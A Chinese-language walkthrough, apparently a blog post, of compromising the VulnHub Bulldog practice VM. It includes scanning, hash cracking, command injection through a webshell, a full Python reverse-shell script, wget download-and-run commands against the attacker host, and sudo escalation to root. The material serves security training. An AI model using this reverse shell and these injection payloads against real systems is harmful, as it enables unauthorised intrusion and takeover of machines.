vulnhub bulldog

配置环境
bulldog需要在virtualbox虚拟机下运行,导入后,网卡选择仅主机模式,打开后会自动出现ip
ip:192.168.56.101

点开vmware中的虚拟选项编辑器中
点击更改设置,让vmware桥接至VirtualBox Host-Only Ethernet Adapter

kali在VMware下运行,设置成桥接模式
打开,查看ip :192.168.56.102
使用nmap -sS 192.168.56.0/24扫描主机
然后nmap -PS 192.168.56.101,扫描端口

在kali火狐访问192.168.56.101,没发现重要信息
使用dirb扫描目录
出现admin和dev目录

访问admin目录,发现是个登录框
访问dev目录,查看源码

MD5解密,只有最后两个能解,分别是bulldog和bulldoglover
尝试登录,不成功
使用密码前面的邮箱登录不成功,使用账号nick密码bulldog登录成功
然后访问webshell
发现可以使用命令执行漏洞
在kali 文件编辑一个python文件为shell.py

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“192.168.56.102”,1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

保存到主目录下
然后python启动http服务
python3是:python -m http.server 80
python2是:python -m SimpleHTTPServer 80

启动服务后,在webshell页面执行命令

ls & wget http://192.168.56.102/shell.py 在bulldog靶机上下载shell.py

然后在kali 上运行nc -lvnp 1234 ,监听1234端口,
然后在webshell里运行命令
pwd&python shell.py
nc成功

每一个单词去掉H,组合起来,就是密码SUPERultimatePASSWORDyouCANTget

执行命令:
sudo python -c ‘import pty;pty.spawn("/bin/bash")’
上面命令是提权并进行python shell
组后提权成功
cd /root
ls

cat congrats.txt

vulnhub bulldog相关推荐

Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell（三）
这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...
靶机渗透【bulldog】
文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...
【Bulldog】靶场记录
前言: 漏洞复现有点乏味并且时效性不强,所以我就开始下载vulnhub上的靶场进行练习,但是操作自己是了解的,就是想不到这种方法,还是靶场练习的太少了,所以本人要坚持练习靶场,然后把练习过程记录下来, ...
vulnhub——Bulldog1
攻击机:kali linux 目标靶机:Bulldog1(可在vulnhub中搜索下载) 目录壹信息收集 one 查看kali的IP地址 two 主机发现 three 端口扫描贰渗透测试 o ...
vulnhub靶场，bulldog1
vulnhub靶场,bulldog1 环境准备靶机下载地址:https://www.vulnhub.com/entry/bulldog-1,211/ 攻击机:kali(192.168.109.128 ...
bulldog靶机练习思路详解
下载靶机,在虚拟机中打开下载地址:https://download.vulnhub.com/bulldog/bulldog.ova 主机扫描nmap,发现目标主机与其开放的端口在浏览器打开网站,只 ...
Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
(Vulnhub练习)--Bulldog1渗透实战
(Vulnhub练习)–Bulldog1渗透实战下载地址 http://www.vulnhub.com/entry/bulldog-1,211/ 文章转载靶机渗透测试实战(三)--Bulldog1 ...

vulnhub bulldog

vulnhub bulldog相关推荐

最新文章

热门文章